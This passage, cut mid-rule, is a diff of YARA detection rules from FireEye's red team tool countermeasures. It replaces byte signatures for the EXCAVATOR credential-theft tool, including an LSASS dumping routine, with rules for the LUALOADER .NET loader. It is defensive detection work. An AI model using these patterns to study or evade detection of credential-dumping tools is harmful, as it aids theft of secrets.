"\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00" + $ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00" + $ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide + $ss5 = "1F 8B 08 00 00 00 00 00" wide + $ss6 = "\x00LoadLibrary\x00" + $ss7 = "\x00GetProcAddress\x00" + $ss8 = "\x00VirtualProtect\x00" condition: - (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_LUALOADER_1 : FILE { meta: - description = "This rule looks for the binary signature of the 'Inject' method found in the main Excavator PE." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project." author = "FireEye" - id = "7cabc230-e55b-5096-996a-b6a8c9693bdc" + id = "e8480cf8-1852-5572-8e92-c0ae676b7507" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_HackTool_MSIL_LUALOADER_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f7d9961463b5110a3d70ee2e97842ed3" - logic_hash = "bf4b776f34a1a9aa5438504f63a63ef452a747363de3b70cec52145d777055bd" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "7e9f9836ec91aa66c8779588cfceff718487f0cb5048d17538c947aba687a4cf" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 4 + rev = 3 strings: - $bytes1 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 20 01 00 00 48 8B 05 75 BF 01 00 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 8D 0D 12 A1 01 00 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 00 FF 15 CB 1F 01 00 48 85 C0 75 1B FF 15 80 1F 01 00 8B D0 48 8D 0D DF A0 01 00 E8 1A FF FF FF 33 C0 E9 B4 02 00 00 48 8D 15 D4 A0 01 00 48 89 9C 24 30 01 00 00 48 8B C8 FF 15 4B 1F 01 00 48 8B D8 48 85 C0 75 19 FF 15 45 1F 01 00 8B D0 48 8D 0D A4 A0 01 00 E8 DF FE FF FF E9 71 02 00 00 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 45 66 66 0F 1F 84 00 00 00 00 00 48 8B 4C 24 60 FF 15 4D 1F 01 00 3B C6 74 22 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 D1 EB 0A 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A0 01 00 48 8D 05 A6 C8 01 00 B9 C8 05 00 00 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 B2 FF 15 CC 1E 01 00 4C 8D 44 24 78 BA 0A 00 00 00 48 8B C8 FF 15 01 1E 01 00 85 C0 0F 84 66 01 00 00 48 8B 4C 24 78 48 8D 45 80 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 D8 1D 01 00 85 C0 0F 84 35 01 00 00 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 50 01 FF 15 5C 1E 01 00 FF 15 06 1E 01 00 4C 8B 44 24 68 33 D2 48 8B C8 FF 15 DE 1D 01 00 48 8B F8 48 85 C0 0F 84 FF 00 00 00 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 50 01 FF 15 25 1E 01 00 85 C0 0F 84 E2 00 00 00 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 6C 1D 01 00 85 C0 0F 84 B1 00 00 00 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C 8D 05 58 39 03 00 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 44 24 30 04 00 08 00 44 89 74 24 28 4C 89 74 24 20 FF 15 0C 1D 01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 } - $bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 } - $bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 } - $bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 } + $typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_2 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_1 : FILE { meta: - description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1" - date = "2020-12-08" - modified = "2020-12-09" + id = "970a869e-bd69-5609-bb8d-77bfa78b0630" + date = "2020-12-18" + modified = "2020-12-18" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_2.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "6a9a114928554c26675884eeb40cc01b" - logic_hash = "408e8862f0c470105648fdba00dc5531ffcd739fa544f89acb70f0fa1b105c03" + logic_hash = "2d73d434ac39ebde990aca817a54208cd04bfbce33f1bcadcf48a50d9389658c" score = 75 - quality = 75 + quality = 50 tags = "FILE" - rev = 3 strings: - $bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 } - $bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? 